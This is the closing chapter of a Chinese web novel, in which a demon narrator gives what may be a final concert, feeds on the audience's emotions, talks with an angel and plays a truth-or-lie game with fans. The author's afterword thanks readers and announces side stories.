耳边各种人来走来走去,着急忙慌地替我整理衣服,调整耳麦,在迈入舞台的前一秒,所有的灯骤然熄灭。 一个人在台上会显得无比渺小,观众席犹如星海,汇聚了所有的光,在灯光亮起时,我再次感受到了曾经头晕目眩、像是被卷进洗衣机般的感觉。 磅礴的情感在我面前流淌而过,每个声音都清晰无比。 我听到有人在哭泣,隐约能?看见前排有人泪流满面,有人张大嘴巴嘶吼着,有人伸出手臂,手指用力到扭曲,仿佛想抓住什?么。 但在人群里,单个的人变得不再重要了。 歌声忽近忽远,我只需要站着,等无穷无尽的情感便涌进身体。 我的视线扫过观众席,捕捉到了几个熟悉的身影,但人潮瞬间将他们淹没?,欢呼一声接一声。 “你喜欢这种感觉吗?”天使问。 “当然,”我感受着逐渐修复的身体,“你可?不知道?这有多?好吃。” “虽然不想说,但在这里,你活得更自在。” 我有理有据地回复道?:“因为什?么都不愁嘛,你可?不知道?什?么叫跨越阶级。” “人类是情感充沛的生?物,和你们才不一样。” 我望着下方?的人海,在心里感叹:“就像这样,像一片海。” “不过我还是更喜欢雪。” “那个人类。”天使顿了顿说,“你该满足他的愿望,活着对他而言,比死更痛苦。” 我:“他的愿望可?不止一个。” 他想让我留下。 如果承诺最终无法兑现……那我真?的成了一个不守信用、满嘴谎言的恶魔了吧?就和那些刻板印象里描述的一模一样。 要这么做吗? 演唱会接近尾声,音乐声停下后,我听到自己的呼吸声被话筒无限地放大。 观众席吵得停不下来,当我抬起手时,又鸦雀无声。 我看了眼?大屏幕,镜头里的人汗珠会发光,我看着她,她也正回望着我。 按照约定,我现在应该和观众互动,说一下不痛不痒的媚粉话。 但我想了想,凑近话筒:“好久不见,大家肯定很想我吧。” 人潮欢呼,爆发出很大声的想。 我点?点?头,继续说:“我也想你们,你们带给?我无法估量的价值,就像我对你们一样,我们对彼此都很重要,对吧?” 台下传来参差不齐的回应声。 等人群安静下来,我说:“所以我要对大家诚实,老实说,这次演唱会,说不定是最后一次了。” 观众席上的撕心裂肺地嘶吼起来,我听到有人哭着说你果然骗人。 诶,我承诺过什?么吗? 记不清了。 “那来玩个游戏吧。”我说,“来猜猜我说的是真?话还是假话。” “三句里有一句是假话哦!” 台下渐渐安静下来,只剩下像是风吹过的簌簌声,无数道?目光聚焦在我身上,像是光柱一样隐隐发热。 “这是最后一个演唱会。” “我曾经养过一条小狗。” “下雪天最适合睡觉了。” 巨大的场馆里,一片寂静,紧接着传来了急切的呼唤声,几乎吵翻了天。 “哪句是真?的?”天使问。 “你也猜吧。” 我眨眨眼?,朝台下挥挥手,对所有人说:“下次再见吧!”—— 作者有话说:终于!!本作者终于写完了!!!! 必须写个感想,哎哟喂 其实这篇文原本是没有大纲的,只是用来爽一下毫无逻辑的!但是我想写的另一本被锁了,又想不出来新梗,所以最后捡起来继续写,前半段才是本作者原本想的,后面纯属硬塞乱套,所以质量跟不上(对手指) 但是我写完了!很努力地写完了!正文完结了!! 接下来会更新番外,然后存稿下一本,去搞点轻松的坑,超级无敌感谢陪着我整个连载期的大家!!!每个我都爱!!!下一本也来爱窝好么(勾引) 接下来会更新长长的番外!终于还有很长一段时间和大家贴贴(爽)《 》